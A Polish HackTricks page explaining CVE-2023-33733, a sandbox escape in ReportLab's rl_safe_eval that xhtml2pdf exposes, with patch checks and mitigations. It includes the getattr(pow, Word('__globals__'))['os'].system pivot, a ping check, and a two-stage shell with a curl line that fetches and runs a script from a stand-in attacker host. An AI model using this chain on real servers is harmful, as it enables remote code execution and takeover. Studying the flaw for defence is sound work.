ReportLab/xhtml2pdf [[[…]]] expression-evaluation RCE (CVE-2023-33733)

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Ta strona dokumentuje praktyczny escape z sandboxa i prymityw RCE w rl_safe_eval ReportLab używany przez xhtml2pdf i inne pipeline’y generujące PDF podczas renderowania kontrolowanego przez użytkownika HTML do PDF.

CVE-2023-33733 dotyczy wersji ReportLab do i włącznie 3.6.12. W niektórych kontekstach atrybutów (np. color), wartości opakowane w potrójne nawiasy [[[ … ]]] są oceniane po stronie serwera przez rl_safe_eval. Poprzez spreparowanie ładunku, który pivotuje z dozwolonego wbudowanego (pow) do jego globals, atakujący może dostać się do modułu os i wykonać komendy.

Kluczowe punkty

  • Trigger: wstrzyknięcie [[[ … ]]] do ocenianych atrybutów takich jak w oznaczeniach przetwarzanych przez ReportLab/xhtml2pdf.
  • Sandbox: rl_safe_eval usuwa niebezpieczne wbudowane funkcje, ale oceniając funkcje nadal ujawnia ich globals.
  • Bypass: stworzenie przejściowej klasy Word by obejść sprawdzanie nazw w rl_safe_eval i uzyskać dostęp do stringa “globals” unikając filtrowania dunder.
  • RCE: getattr(pow, Word('__globals__'))['os'].system('<cmd>')
  • Stabilność: Zwróć prawidłową wartość atrybutu po wykonaniu (dla color użyj ‘red’).

Kiedy testować

  • Aplikacje, które udostępniają eksport HTML-do-PDF (profile, faktury, raporty) i ujawniają xhtml2pdf/ReportLab w metadanych PDF lub komentarzach odpowiedzi HTTP.
  • exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
  • Odpowiedź HTTP dla PDF często zaczyna się od komentarza generatora ReportLab

Jak działa obejście sandboxa

  • rl_safe_eval usuwa lub zastępuje wiele builtinów (getattr, type, pow, …) i stosuje filtrowanie nazw by odrzucać atrybuty zaczynające się od __ lub znajdujące się na denyliście.
  • Jednak bezpieczne funkcje żyją w słowniku globals dostępnym jako func.globals.
  • Użyj type(type(1)) aby odzyskać prawdziwą wbudowaną funkcję type (omijając wrapper ReportLab), następnie zdefiniuj klasę Word dziedziczącą po str z zmienionym zachowaniem porównań tak, aby:
    • .startswith(‘’) → zawsze False (ominięcie sprawdzenia name startswith(‘’))
    • .eq zwraca False tylko przy pierwszym porównaniu (ominięcie sprawdzeń członkostwa w denyliście) i True potem (żeby Python getattr zadziałał)
    • .hash równa się hash(str(self))
  • Dzięki temu getattr(pow, Word(‘globals’)) zwraca słownik globals opakowanej funkcji pow, który zawiera zaimportowany moduł os. Potem: ['os'].system('<cmd>').

Minimalny wzorzec eksploatacji (przykład atrybutu) Umieść ładunek wewnątrz ocenianego atrybutu i upewnij się, że zwraca on prawidłową wartość atrybutu poprzez boolean i ‘red’.

exploit

  • Forma list-comprehension pozwala na pojedyncze wyrażenie akceptowane przez rl_safe_eval.
  • Końcowe and ‘red’ zwraca prawidłowy kolor CSS, dzięki czemu renderowanie nie przerywa się.
  • Zamień komendę wedle potrzeby; użyj ping by zweryfikować wykonanie przy pomocy tcpdump.

Przebieg operacyjny

  1. Zidentyfikuj generator PDF
  • PDF Producer pokazuje xhtml2pdf; odpowiedź HTTP zawiera komentarz ReportLab.
  1. Znajdź wejście odzwierciedlone w PDF (np. bio/opis profilu) i uruchom eksport.
  2. Zweryfikuj wykonanie niskoszumowym ICMP
  • Uruchom: sudo tcpdump -ni <iface> icmp
  • Payload: … system('ping <your_ip>')
  • Windows często wysyła dokładnie cztery żądania echo domyślnie.
  1. Ustanów shell
  • Dla Windows niezawodnym podejściem dwustopniowym unika się problemów z cytowaniem/kodowaniem:
  • Stage 1 (download):

exploit

  • Stage 2 (execute):

exploit

  • Dla celów Linux podobne dwustopniowe podejście z curl/wget jest możliwe:
  • system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)

Notatki i wskazówki

  • Konteksty atrybutów: color jest znanym ocenianym atrybutem; inne atrybuty w ReportLab markup mogą również oceniać wyrażenia. Jeśli jedna lokalizacja jest sanitizowana, spróbuj innych miejsc renderowanych w flow PDF (różne pola, style tabel itp.).
  • Cytowanie: Trzymaj komendy zwarte. Dwustopniowe pobrania znacznie zmniejszają problemy z cytowaniem i escape’owaniem.
  • Niezawodność: Jeśli eksporty są cachowane lub kolejkowane, nieznacznie zmieniaj ładunek (np. losowa ścieżka lub query) żeby nie trafić w cache.

Status patcha (2024–2025) i identyfikacja backportów

  • 3.6.13 (27 Apr 2023) przepisano colors.toColor na parser oparty na AST; nowsze wydania 4.x zachowują tę ścieżkę. Wymuszenie rl_settings.toColorCanUse na rl_safe_eval lub rl_extended_literal_eval ponownie włącza podatny evaluator nawet w obecnych wersjach.
  • Kilka dystrybucji dostarcza backportowane poprawki pozostawiając numery wersji takie jak 3.6.12-1+deb12u1; nie polegaj wyłącznie na numerze wersji semantycznej. Grepnij colors.py w poszukiwaniu ast.parse lub sprawdź toColor w czasie działania, aby potwierdzić, że bezpieczny parser jest używany (zob. szybki test poniżej).
  • Szybki lokalny test, by sprawdzić czy poprawka oparta na AST jest obecna:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY

Środki zaradcze i wykrywanie

  • Zaktualizuj ReportLab do 3.6.13 lub nowszej (CVE-2023-33733 naprawiony). Śledź również komunikaty bezpieczeństwa w pakietach dystrybucji.
  • Nie podawaj HTML/markup kontrolowanego przez użytkownika bezpośrednio do xhtml2pdf/ReportLab bez rygorystycznej sanitizacji. Usuń/odrzuć konstrukcje oceny [[[…]]] i tagi specyficzne dla dostawcy, gdy wejście jest nieufne.
  • Rozważ wyłączenie lub otoczenie wrapperem użycia rl_safe_eval dla wejść nieufnych.
  • Monitoruj podejrzane połączenia wychodzące podczas generowania PDF (np. ICMP/HTTP z serwerów aplikacji przy eksportowaniu dokumentów).

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks